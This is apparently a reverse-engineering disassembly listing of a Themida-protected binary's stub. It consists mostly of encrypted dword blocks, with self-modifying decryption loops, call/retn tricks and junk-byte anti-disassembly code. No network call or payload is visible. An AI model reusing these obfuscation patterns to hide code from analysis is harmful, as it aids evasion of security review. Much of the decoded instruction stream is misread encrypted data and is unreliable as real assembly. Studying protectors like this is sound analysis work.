		dd 81042444h, 16042444h, 40000000h, 8CE3C350h, 68D0FA5h
		dd 89000000h, 0E176D85h, 39BD8906h, 96060E10h, 7466BB66h
		dd 451FBF50h, 6A965492h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 6EDAC355h, 0DC299A3Ah
		dd 0DB8166A8h, 0B5FFAC6Ch, 611A07Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 6C35141h, 6F37E015h, 0F98B66E6h
		dd 16D195FFh, 0BF66060Eh, 0BD83DB53h, 60E30D5h,	57840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0D4BFC353h, 2955A615h,	89D921A5h
		dd 0E0C1D85h, 3CBF9606h, 507EE8ECh, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 313C3E42h
		dd 8B60E3E9h, 0B5FF61F7h, 611A07Bh, 3B9759BBh, 8195FF74h
		dd 56060E29h, 0FF5FF98Bh, 11A07BB5h, 9D8B6006h,	60E2515h
		dd 9125FBEh, 95FF6137h,	60E1ABDh, 309D9D8Bh, 0BD83060Eh
		dd 60E29D5h, 0A3840F02h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C767C355h
		dd 0ADE4A1F4h, 0D47CBF57h, 0E95B5F09h, 7, 1EFE8E05h, 8B131155h
		dd 0E07D185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0AC372752h, 9D9D8BADh, 0C6060E03h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 9A631C3h,	31BE2763h, 0E13C19Dh, 14E906h
		dd 9A850000h, 0C81CBB6Ah, 7F013F0Dh, 110D128Ah,	0B7547Bh
		dd 85C7CA53h, 60E3515h,	0
		dd 0E9FA8B66h, 0FFFFF397h, 189D9509h, 0C18B060Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C6C35747h, 1C8D1CEEh
		dd 2659589h, 9D89060Eh,	60E227Dh, 494E8D8Dh, 6A0613h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0E50950C3h, 6DEF4D69h, 858BB071h, 60E16C5h, 2FC58D89h
		dd 9589060Eh, 60E1BF5h,	88185C7h, 672C060Eh, 8B600000h
		dd 0E1EEDBDh, 81576106h, 9476C1EFh, 85C75B44h, 60E28D9h
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+60E1FD5h]
		push	dword ptr [ebp+60E1915h]
		push	0
		push	ecx
		call	sub_59DF07
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DF07	proc near		; CODE XREF: Themida_:0059DEFFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_59DF07	endp

; ---------------------------------------------------------------------------
		test	[edi-37h], esp
		inc	esp
		xchg	eax, edi
		cld
		xchg	eax, edx
		sub	eax, 30B31959h
		mov	edi, [ebp+60E136Dh]
		call	dword ptr [ebp+60E09B9h]
		pusha
		ja	loc_59DF3D
		mov	eax, [ebp+60E16CDh]


loc_59DF3D:				; CODE XREF: Themida_:0059DF31j
		mov	eax, 2839B259h
		popa
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_59DFBB
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0A06BEF5Bh, 7CBE9585h, 9F0F8918h, 703273BCh,	12119291h
		dd 0A5DD8EA2h, 68488ADDh, 1EE4BCA2h, 25B07523h,	0C098ABC0h
		dd 0DD2DD2E4h, 430C2B82h, 6B9560ECh, 727575B6h,	0FDA033B9h
		dd 0AC4235C4h, 4C37478Eh, 3B587D56h, 0EFFC4265h, 2D5A2E42h
		dd 8C739695h, 0CEBE5755h, 8855CF79h, 9B9C5B55h,	0C334BB02h
		dd 1E934D45h
		db 0D0h, 0A0h, 0B0h
; ---------------------------------------------------------------------------


loc_59DFBB:				; CODE XREF: Themida_:0059DF4Dj
		lea	ecx, [ebp+6134AAAh]
		push	0
		push	edx
		call	sub_59DFCC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59DFCC	proc near		; CODE XREF: Themida_:0059DFC4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59DFCC	endp

; ---------------------------------------------------------------------------
		dd 1BD5E16Ch, 0F78166B7h, 0DE9CAA2h, 5D000000h,	8266115Eh
		dd 0DC4D84A6h, 2700CBECh, 2FC58D89h, 6A060Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 6F08B8C3h
		dd 0A59D8B01h, 0C7060E1Dh, 0E088185h, 5B4406h, 35958B00h
		dd 0C7060E08h, 0E28D985h, 6, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FB32800h
		dd 0B5FFD2B7h, 60E183Dh, 9E9h, 0D9475000h, 0EF7C0383h
		dd 95FF7CC2h, 60E09B9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 83C35747h, 0C9C1E27h,	0D1B58B62h, 6A060E24h
		dd 4595FF00h, 8B060E0Fh, 142FEBC0h, 85225059h, 0D57F929Fh
		dd 0F81F8289h, 3FD59EBh, 8B0C7316h, 46E524FBh, 3FBFADC2h
		dd 0B49C66C3h, 0D8B6A48Dh, 3EA6CCFDh, 179C7738h, 14E99ED7h
		dd 2A000000h, 5DB481h, 3 dup(0)
		dd 0E9000000h, 587h, 2CF0BBB2h,	10D49591h, 0F3B77A75h
		dd 0D5995E58h, 0B579423Ah, 0B3ABDA8Ah, 928B26EAh, 6E6C07CBh
		dd 5552EDB1h, 0BB86D296h, 7AFA9FFAh, 1CCA335Dh,	467DE286h
		dd 0DBD2CF89h, 5A90874h, 2A235812h, 15904763h, 80B27471h
		dd 0AAFFC2CAh, 3753120Fh, 0D0918D2Ch, 0FBE8E07Bh, 59201900h
		dd 900BC2DEh, 753431CCh, 0B4AF4E59h, 0C91ED5F1h, 0A372312Eh
		dd 0F1460904h, 4102FED9h, 7CCD8F25h, 0B5793835h, 8A534BEAh
		dd 0DF9C9A35h, 0C582801Bh, 0ED5CEA9h, 0E2A5A03Fh, 88F77C3Eh
		dd 90E5D8B0h, 0D5E1C78h, 470BC8C6h, 0FD9CAFACh,	6C233F02h
		dd 69E86CABh, 500F0C5Bh, 3BB67D34h, 0E86CAB6Ch,	69E45B69h
		dd 88801FEEh, 60DBA29Bh, 0A8716944h, 55AD58Ch, 4943E2EDh
		dd 12722F84h, 505B69E8h, 0E4134192h, 42AFF5F3h,	99h, 0D6B9B6D4h
		dd 47FE1AD9h, 6059FDCCh, 198041E7h, 0B95B69D6h,	51CA9A3Eh
		dd 8792AAFFh, 0E815DCE3h, 0C11619E1h, 69298704h, 0D223E15Bh
		dd 0F5B353A4h, 4405D4AFh, 5B693DC5h, 0E1AD027Dh, 12h, 0AA7B7216h
		dd 0D3F3F287h, 69C3F712h, 55D04B5Bh, 0E7869200h, 37D227EEh
		dd 535E7A3Bh, 362D25AFh, 0A85F7B38h, 0E819B304h, 3BFCF893h
		dd 0FD2CD6Ch, 0CFE73CF3h, 6635FAF4h, 0B50ACBC7h, 0F445079Dh
		dd 23E0DE7Dh, 60FB5007h, 44DFA364h, 0F9C48847h,	0BDE0B155h
		dd 55C120h, 0F5BEB692h,	0CA8B8726h, 8AA2F7AEh, 0A8EFB07Fh
		dd 285B69B0h, 0C1BD58ADh, 0B0ACEBACh, 0A9245B69h, 3F37122Eh
		dd 877F5A76h, 8F2D8395h, 8C07CAD2h, 0D526A470h,	2A7BF9B2h
		dd 5E22EBE3h, 3807C6C3h, 0DDC9D99h, 69FACD4Ch, 0B50A855Bh
		dd 4C7C29Dh, 0EE3F01E8h, 0F60047C0h, 92DFAFh, 0B6710000h
		dd 0FED9F5BEh, 611E1C03h, 0F7138E45h, 74E9F61h,	0D377460Fh
		dd 7233DE52h, 5B69ED17h, 118C30ABh, 31F14662h, 0B9D59E96h
		dd 501FE4DEh, 23E8E281h, 88F5007h, 0C85B6951h, 0F9E0F84Dh
		dd 0D06FE637h, 3BBD12D5h, 0AFF568CCh, 8D5Ah, 0F5F08F00h
		dd 0B66FDD32h, 16D3D1BEh, 3CB77E77h, 36474520h,	69B01275h
		dd 0B833AE5Bh, 67504AE9h, 0D88FAB6Ah, 358A415Dh, 94E5671Dh
		dd 0BF847E1Dh, 4E48ECA3h, 98175AA2h, 645CF74Ch,	312DCC9Bh
		dd 0ED5B1B70h, 93F6B786h, 2F5B69B0h, 4ADF3E8Bh,	0A41F7FEAh
		dd 0F7B8B44Fh, 4FBEDEDBh, 49425B69h, 829E655Eh,	593450CBh
		dd 0A17C9861h, 0E466E0A9h, 8D4B7093h, 4CE90E3Ch, 0F3DAFF5h
		dd 72000000h, 664E5ACEh, 6A09F7D4h, 0D78EAA71h,	0BBB61482h
		dd 401DCF8h, 0C2CD2945h, 4A662723h, 6FC03E93h, 9B6A2D28h
		dd 0E73C03FCh, 0CC8D5C27h, 5B69B04Dh, 76358A05h, 6F30FFC2h
		dd 6177B4C5h, 916C8803h, 7611D594h, 0A19EBA79h,	0A2984B64h
		dd 0F56A729h, 0DB3EFF12h, 9AA2984Bh, 0B555C949h, 0A823EA4Ah
		dd 0FA9E692Dh, 0FE12F206h, 43DE33F8h, 19B88746h, 0F1095E1Bh
		dd 3E5A1916h, 88A46963h, 0D6F2AFADh, 64D9E20h, 742B470Ch
		dd 71C240F9h, 524A2D2Ah, 8BA76A65h, 0FDE59D4h, 93AF7870h
		dd 45C787DCh, 0B604D3B2h, 1BD8D675h, 27F348FFh,	118h, 0F7A692B9h
		dd 0F2C13CF9h, 0C6898423h, 0E19EF3AAh, 6177E29Bh, 52B57645h
		dd 0EEA2987Eh, 1DCF873h, 0B6814504h, 7EE326E7h,	0E45FA298h
		dd 69854C45h, 0C5C25DB2h, 120FEA06h, 0D170352Fh, 0C99813D6h
		dd 7EDE39FAh, 0F772A298h, 17958AA2h, 0C3827FC6h, 7E7A7DFFh
		dd 5BACB604h, 3E000000h, 4918A992h, 69B02188h, 4A66E1DBh
		dd 69B0CA4Dh, 0F2B1AEDBh, 8F0ACBD6h, 43DB69B0h,	6E2B29C8h
		dd 0B7088652h, 0B0187F40h, 3DB8DB69h, 63B432C2h, 0AF7E43F8h
		dd 0C95011E0h, 89DB69B0h, 0BE58B2E5h, 0F8A0855h, 37BAFDBAh
		dd 0DB565B69h, 6ACD17h,	5FFE0000h, 0D188A461h, 0A6920E7Ch
		dd 0D98B4C1Bh, 176177B0h, 0A8A5809Ch, 4FB5D495h, 920DA298h
		dd 0BBB85317h, 0A3E3E0FCh, 6EA2984Eh, 57549BECh, 2315D498h
		dd 0A80ECF9Eh, 68988D05h, 0F9F6D1EDh, 4C21E3Ah,	0D1F048B3h
		dd 0A6676302h, 0B37ED38Ah, 0A248B4F2h, 2D14C92h, 793F6D5Eh
		dd 3F94CB5Fh, 24E5B47Fh, 0B6A2FAE5h, 1F8DE25Dh,	4C1BA692h
		dd 7CFB2F8Bh, 4E6AE561h, 0F3B77673h, 809C5B58h,	0FD348683h
		dd 98E9AB4Eh, 76915221h, 0CAC52D53h, 625FFA4Fh,	4744DFA3h
		dd 97916C88h, 9C5AB6D2h, 4807044Bh, 2DECE984h, 38711h
		dd 33150000h, 0F4BFB681h, 4100FDD8h, 8F4C4A25h,	0D89F9873h
		dd 20E9E1BCh, 68312904h, 0B277714Ch, 0FDC0BB96h, 490A06E1h
		dd 8953692Dh, 4B850E3h,	1000000h, 0EB8358C3h, 241C8704h
		dd 0E289525Ch, 4C281h, 0EA810000h, 4, 5C241487h, 68241489h
		dd 24DCh, 56240C89h, 0E54CE8BEh, 5EEC100h, 2C1BBA52h, 0CA810880h
		dd 2803016Ch, 1B8DC281h, 0EAC12249h, 1EC28104h,	81777817h
		dd 32139EE2h, 0A6C28142h, 9D1423Fh, 0E6C15AD6h,	4EE8108h
		dd 8961682Ch, 8B545EF2h, 0C481240Ch, 4,	4EC81h,	14890000h
		dd 8418F24h, 592434FFh,	4C481h,	148B0000h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 2E1EE95Ch, 0B865FFFBh
		dd 6134FDAh, 0E0FFC503h, 45597CADh, 70661D3Dh, 2E9414C4h
		dd 752FF0F5h, 7F7304FCh, 2BE7E548h, 4039CBDAh, 51B68D8Dh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0B0CE37C3h, 1BF6D064h, 0E8AEFE9Eh, 5, 133577C7h
		dd 0C28B66B0h, 8D952B58h, 89060E1Bh, 0E2FC58Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0C0EFEA21h, 8A7F3A15h, 8185C7C2h, 0F8060E08h, 6A000067h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C479C351h, 85C74971h, 60E28D9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59E74B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E74B	proc near		; CODE XREF: Themida_:0059E743p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_59E74B	endp

; ---------------------------------------------------------------------------
		mov	edi, 1F6DB589h
		push	cs
		push	es
		movsx	ebx, cx
		push	dword ptr [ebp+60E1889h]
		jmp	loc_59E784
; ---------------------------------------------------------------------------
		dd 0FEB068F6h, 3682FC8h, 0F489DF53h, 23FAC3B3h,	4995EE71h
; ---------------------------------------------------------------------------


loc_59E784:				; CODE XREF: Themida_:0059E76Bj
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	edx
		call	sub_59E795
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59E795	proc near		; CODE XREF: Themida_:0059E78Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_59E795	endp

; ---------------------------------------------------------------------------
		db 0BCh, 31h, 69h
; ---------------------------------------------------------------------------
		ror	dword ptr [edx-0FF9523h], 1
		xchg	eax, ebp
		inc	ebp
		femms
		push	es
		mov	eax, eax
		jmp	short loc_59E7D6
; ---------------------------------------------------------------------------
		db 0ECh
		dd 3FD78EBCh, 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh
		dd 580F6CEAh, 0C8CD013Dh
; ---------------------------------------------------------------------------
		aam	0FCh


loc_59E7D6:				; CODE XREF: Themida_:0059E7B5j
		call	sub_59E7E8
		cmp	[eax+5F9DB3CEh], ebx
		add	eax, 1DFC1899h
		push	ecx
		dec	esp

; =============== S U B	R O U T	I N E =======================================



sub_59E7E8	proc near		; CODE XREF: Themida_:loc_59E7D6p
		pusha
		mov	[ebp+60E2259h],	ebx
		xor	bx, 22A8h
		popa
		pop	edx
		mov	esi, 558BEF1Ah
		add	edx, 6B68h
		jmp	loc_59E80D
; ---------------------------------------------------------------------------
		dw 6DFBh
		dd 0F6B339C5h
		db 0D4h
; ---------------------------------------------------------------------------


loc_59E80D:				; CODE XREF: sub_59E7E8+19j
		sub	ecx, ecx
		mov	[ebp+60E1CD5h],	ebx


loc_59E815:				; CODE XREF: sub_59E7E8+A2j
		push	dword ptr [ecx+edx]
		jmp	loc_59E829
; ---------------------------------------------------------------------------
		db 0EBh, 6Eh, 79h
		dd 0E84B532Fh, 1B112D9Eh
		db 33h
; ---------------------------------------------------------------------------


loc_59E829:				; CODE XREF: sub_59E7E8+30j
		pop	eax
		and	edi, 5741E488h
		add	eax, 4CA90445h
		jmp	loc_59E847
; ---------------------------------------------------------------------------
		db 9Eh
		dd 583849E2h, 95A127ECh
; ---------------------------------------------------------------------------
		xor	dh, [edx-60h]


loc_59E847:				; CODE XREF: sub_59E7E8+4Ej
		xor	eax, 7707DC34h
		xor	[ebp+60E297Dh],	eax
		xor	eax, 715A3065h
		mov	[edx+ecx], eax
		xor	edi, [ebp+60E33B1h]
		pusha
		mov	cl, 7Fh
		mov	[ebp+60E245Dh],	eax
		popa
		sub	ecx, 647D8F04h
		mov	edi, [ebp+60E2A1Dh]
		add	ecx, 647D8F00h
		mov	[ebp+60E2E4Dh],	edi
		cmp	ecx, 0FFFF955Ch
		jnz	loc_59E815
		call	near ptr loc_59E89B+1
		adc	esi, 0B068F62Fh


loc_59E89B:				; CODE XREF: sub_59E7E8+A8p
		inc	byte ptr [ecx-695F2A25h]
sub_59E7E8	endp ; sp-analysis failed

		add	ebx, [esi-22h]
		sub	dh, [ecx-2Ch]
		aam	46h
		dec	ebx
		fadd	qword ptr [ecx]
		jg	short near ptr loc_59E8FF+4
		enter	5CD4h, 52h


loc_59E8B2:				; CODE XREF: Themida_:0059E925j
		cwde
		arpl	[ebx], si
		or	ebp, [ecx-67D9CC57h]
		icebp
		pop	edx
		db	26h
		pop	esi
		out	dx, eax
		and	cl, [ecx]
		xchg	eax, esi
		xor	esp, [eax+4Eh]
		mov	ah, 0FFh
		in	al, 0A5h	; Interrupt Controller #2, 8259A
		db	67h
		clc
		push	cs
		sub	dl, [esi-135C4160h]
		cmp	al, 22h
		and	[edi+79h], ah
		mov	edx, 3DF005A3h
		and	[ebx], bl
		xlat
		push	es
		das
		xchg	eax, esi
		xor	esi, [ebx]
		sub	ds:98263383h, ebx
		sal	byte ptr [esi+35B5CA91h], 76h
		adc	eax, 8B749AD6h
		scasd
		arpl	cx, bx
		or	eax, 9E281749h


loc_59E8FF:				; CODE XREF: Themida_:0059E8ACj
		and	dword ptr [esi-68h], 35h
		pop	ecx
		and	edx, ds:8B748A1Fh
		dec	ebx
		arpl	[ebx+35610F1Dh], bp
		sahf
		add	ecx, esp
		mov	bl, 0DDh
		mov	esp, 1493203Dh
		cmp	al, 0A2h
		mov	eax, ds:1526336Ah
		mov	al, 8Ah
		jz	short loc_59E8B2
		pushf
		arpl	si, cx
		stosb
		dec	ebp
		xor	esp, [esi]
		fdiv	st, st(6)
		mov	esi, 200127A3h
		and	al, cl
		and	al, 0B6h
		lahf
		retf	35C7h
; ---------------------------------------------------------------------------
		jbe	short loc_59E9A6
		push	dword ptr [edx]
		add	edx, [esi-6B1D4FCDh]
		pop	ss
		mov	dh, 9Fh
		retf	355Eh
; ---------------------------------------------------------------------------
		db 76h,	15h, 23h
		dd 558B749Ah, 340DD963h, 3D9E2817h, 6A982651h, 6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh
; ---------------------------------------------------------------------------
		cmp	al, 0A1h


loc_59E9A6:				; CODE XREF: Themida_:0059E93Dj
		insb
; ---------------------------------------------------------------------------
		db 65h
		db 0CCh
		db 0D9h, 0C3h, 4Eh
		dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch
		dd 88152637h, 9C8B7494h, 1E44ABBEh, 93202020h, 78000000h
		dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh,	0B58DFFFFh
		dd 61353DCh, 53FB8D8Dh,	0CF2B0613h, 8B05E983h, 7E8C8h
		dd 0A10D0000h, 33605A03h, 299D8B39h, 59060E23h,	0E158589h
		dd 0C181060Eh, 68ABh, 14318D29h, 0F9BE060Eh, 0B8000019h
		dd 359A58F9h, 0EDB031FFh, 0C2B70F5Ah, 0D293F281h, 0E8522163h
		dd 14h,	27149489h, 0A7AE9819h, 1B8FAEF0h, 3E174D81h, 858BC6BFh
		dd 17799D33h, 5B5F060Eh, 697BEA81h, 81560475h, 36275AF7h
		dd 0C2815F6Eh, 4FAD74BEh, 0F498501h, 6652060Eh,	8F28D0BFh
		dd 0F9D38101h, 8147C0BBh, 0CE660BE9h, 2D858B64h, 81060E1Fh
		dd 0CE6607C1h, 0E1BD0B64h, 4E060E17h, 12850Fh, 0C0810000h
		dd 67D11F9h, 20E9h, 0A04C6900h,	30C3F1DCh, 1B9365BBh, 0FF6EE955h
		dd 0B961FFFFh, 0E09EC500h, 0DCD8426h, 3974D0F2h, 0BC8D8DECh
		dd 6A061355h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0C072C350h, 3888923Eh,	0FD8AA91h
		dd 285h, 89FA8B00h, 0E095DB5h, 0C58D8906h, 6A060E2Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 600C355h, 291E73E8h,	0E3121BDh, 0ABE68106h, 0C70707F1h
		dd 0E088185h, 5F0406h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 89BE9809h, 0D7DFC1A5h
		dd 85C7F38Bh, 60E28D9h,	0
; ---------------------------------------------------------------------------
		mov	edi, 31135377h
		push	dword ptr [ebp+60E00D5h]
		push	0
		push	edi
		call	sub_59EB82
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59EB82	proc near		; CODE XREF: Themida_:0059EB7Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59EB82	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		add	eax, 9F8AEA9Ah
		inc	ecx
		shl	byte ptr [esi-75h], 0F7h
		call	dword ptr [ebp+60E09B9h]
		mov	eax, [ebp+60E15B9h]
		js	loc_59EBB1
		mov	bl, 0Bh


loc_59EBB1:				; CODE XREF: Themida_:0059EBA9j
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_59EC28
; ---------------------------------------------------------------------------
		db 0F4h, 0DDh, 3
		dd 34C62E36h, 456483ECh, 133D22D8h, 0C5823FF8h,	0E14C5818h
		dd 48095D35h, 0E7D8F0A1h, 0F2432A13h, 7B860776h, 0D068FE3h
		dd 0AF47B6BDh, 773258CEh, 21F919B6h, 8A5031E5h,	0BE330FEDh
		dd 0D0A2F472h, 99679504h, 0A149DD0Ah, 789ECDA7h, 0EFC9902Eh
		dd 0A07FB769h, 3B040E49h, 0CD23B671h, 0C04ED442h, 49B5D37Ah
		dd 8EE25549h
; ---------------------------------------------------------------------------


loc_59EC28:				; CODE XREF: Themida_:0059EBBBj
		call	near ptr loc_59EC31+4
		and	bl, cl
		mov	ah, 62h


loc_59EC31:				; CODE XREF: Themida_:loc_59EC28p
		call	near ptr 8B760885h
		mov	ch, 9
		xor	ecx, [esi]
		push	es
		pop	edi
		add	edi, 733Dh
		sub	ecx, ecx
		stc


loc_59EC45:				; CODE XREF: Themida_:0059ECAEj
		mov	ebx, [edi+ecx]
		jmp	loc_59EC55
; ---------------------------------------------------------------------------
		popf
		pop	ds
		sub	eax, 8DBE34C8h
		xchg	eax, esi


loc_59EC55:				; CODE XREF: Themida_:0059EC48j
					; Themida_:0059ECD6j
		sub	ebx, 374FD3CAh
		stc
		add	ebx, 4EA2A3F4h
		xor	esi, [ebp+60E0769h]
		sub	ebx, 3991EF7Ah
		mov	esi, [ebp+60E277Dh]
		push	ebx
		or	[ebp+60E2039h],	edx
		pop	dword ptr [edi+ecx]
		or	dx, 0B4A7h
		movzx	edx, bx
		sub	ecx, 2E9606E9h
		jmp	loc_59EC9C
; ---------------------------------------------------------------------------
		db 0C5h, 54h, 0A9h
		dd 5908E257h, 0C7667C2Ch
; ---------------------------------------------------------------------------


loc_59EC9C:				; CODE XREF: Themida_:0059EC8Cj
		add	ecx, 2E9606E5h
		mov	esi, [ebp+60E1831h]
		cmp	ecx, 0FFFF8D4Ch
		jnz	loc_59EC45
		mov	[ebp+60E1395h],	eax
		dec	esp
		arpl	[edx], ax
		dec	byte ptr [edx]
		add	al, 32h
		or	ebp, [ecx]
		pop	esp
		icebp
		fld	qword ptr [eax-7739E9C0h]
		inc	eax
		push	ss
		db	65h
		sbb	eax, 49B03204h
		push	esp
		icebp
		jmp	short near ptr loc_59EC55+5
; ---------------------------------------------------------------------------
		dd 7017799h, 82BE8502h,	0ACD1B3C4h, 8AB5A24Bh, 7CC13B9h
		dd 143202h, 6758F87h, 7D58340Ah, 827F621Dh, 0D158AC4h
		dd 8C823204h, 0F8B2F99h, 0A1AEAF89h, 0DA9E3414h, 0B4336A5Fh
		dd 0F563DC1h, 593B4604h, 0D158A57h, 8C823204h, 0F8B2F99h
		dd 0AC99AF89h, 0DA9E3414h, 9DA6A5Fh, 95BDA55h, 500C3204h
		dd 459F6BC7h, 4D8A3620h, 9923620h, 58833204h, 9AB1D5C7h
		dd 0D80DB9B7h, 805E3C27h, 7242F81h, 81196102h, 90B3201h
		dd 0D664B362h, 8C4B6BADh, 0F6F13B1h, 0BC39F28Fh, 0F562FF9h
		dd 63F4BE62h, 0AFE6204h, 290B3204h, 80DDF15Ch, 88C61640h
		dd 1E651640h, 49B03204h, 6011F154h, 7C4615Dh, 34163204h
		dd 0A67B22ECh, 0FB2DE595h, 177EEE79h, 0D8ECB98Fh, 50B63C13h
		dd 8D5736ACh, 92C3635h,	0E143326Eh, 90B3207h, 54466F24h
		dd 0DE65E8Dh, 0D457685h, 9B0321Ch, 559B6741h, 3ABAE03h
		dd 0D9E50BBFh, 85046266h, 9853202h, 0E343F985h,	8A3854EEh
		dd 79FCFB9h, 8D573202h,	92C323Ah, 0AFDDBFDh, 9613204h
		dd 986DA52h, 57E23204h,	7DE86CC7h, 4D313620h, 94E3620h
		dd 5F6A3204h, 0A6C033C7h, 3E35255h, 0FE853204h,	203FBD24h
		dd 0E95E14D9h, 8C3B6DB5h, 0F562951h, 9926965h, 0BA143223h
		dd 7D8EBF9Fh, 6383238Ch, 0A2A6404h, 29613204h, 80EEF15Ah
		dd 885C1670h, 13281640h, 4F163204h, 0A2C3F152h,	827BF7A4h
		dd 34470359h, 0B2673C0Bh, 18F3E4E6h, 932E2FBh, 92FDA56h
		dd 53363204h, 5D8268C7h, 4D043620h, 9D83620h, 5B233204h
		dd 98A9ACC7h, 8A913E9Dh, 924DB64h, 1AF93204h, 0B2627996h
		dd 0B40E8FD1h, 0FCC31FDh, 6A1B765h, 9B13680h, 59585804h
		dd 92C31ECh, 0CA4E1204h, 2D4FBB5Ch, 2DC1B300h, 9C22500h
		dd 0CA317204h, 1BFF8CE2h, 95FDB64h, 3D8A3204h, 6019688h
		dd 0ECBEB959h, 68833C34h, 17EBAF2Dh, 31E0340Ah,	0F2315453h
		dd 968B70Bh, 884A3204h,	0B14367Ch, 0A14B60Bh, 9EF3204h
		dd 9C1DA53h, 56413204h,	75396DC7h, 4DD93620h, 9343620h
		dd 5E513204h, 4420FBC7h, 83D6BF2Dh, 88A469CFh, 601AE3Ch
		dd 9B0B681h, 58C5B904h,	892A3C34h, 6FE307Ch, 90B4681h
		dd 5E855804h, 9C231ECh,	0CA3E1204h, 2DCCBB5Bh, 2D1CB300h
		dd 92C2F00h, 0CA417504h, 153D43BFh, 93752171h, 88A4EDF3h
		dd 0A261347Ch, 9F3B70Bh, 823E3204h, 0B8BDBCBh, 97C3204h
		dd 908DA55h, 50A53204h,	454B6BC7h, 4DE03620h, 9AA3620h
		dd 58193204h, 9A9C41C7h, 2D383697h, 90B26EDh, 481F1004h
		dd 27FABDB1h, 0A130D354h, 0C7F598B8h, 0A7062212h, 82C8C89h
		dd 97C7405h, 908DA56h, 53A53204h, 5D4B68C7h, 4DE03620h
		dd 9A53620h, 5B1A3204h,	80F0E3C7h, 7349FB1h, 7D8EBF02h
		dd 683238Ch, 0D93DCCB3h, 26F4A72Dh, 0C935340Ah,	8ABB60Bh
		dd 0CC53204h, 7163204h,	0EF4D7329h, 3104D9B1h, 0BC00F62h
		dd 943B70Bh, 88D63204h,	88750BF5h, 344A347Ch, 8D19485Bh
		dd 90B3005h, 93CCE585h,	0C2B5BD6h, 6F613204h, 0C458DC7h
		dd 9560B362h, 73A93D64h, 69163204h, 5B6BF35h, 8C0C340Ah
		dd 0FCC1C39h, 0B19B265h, 6B353DECh, 63583204h, 0AC46004h
		dd 29163204h, 8051F15Eh, 88811650h, 10C61640h, 4B613204h
		dd 0ED4CF156h, 3D25685Ah, 1A2D8F8Dh, 8870340Ah,	0C90B347Ch
		dd 9AAB70Bh, 0BECD3204h, 8F2DBDAh, 9DA3204h, 95BDA52h
		dd 570C3204h, 7D9F6CC7h, 4D8A3620h, 9923620h, 5F843204h
		dd 0BD960BC7h, 0B3C3DFAh, 82583204h, 82C8CDCh, 97C4C05h
		dd 908DA51h, 54A53204h,	654B6FC7h, 4DE03620h, 9A63620h
		dd 5C1D3204h, 0C2C1FCC7h, 10D3BF27h, 8C86340Ah,	0F94BA70h
		dd 9C23AEDh, 677A9404h,	0BB7FF26Dh, 8388CD06h, 6ECB7CCh
		dd 916DE80h, 89738504h,	8C8ADA3Ch, 9C2325Ch, 0E130326Eh
		dd 9B03207h, 509B6B24h,	0D087E8Dh, 0D327685h, 90B3210h
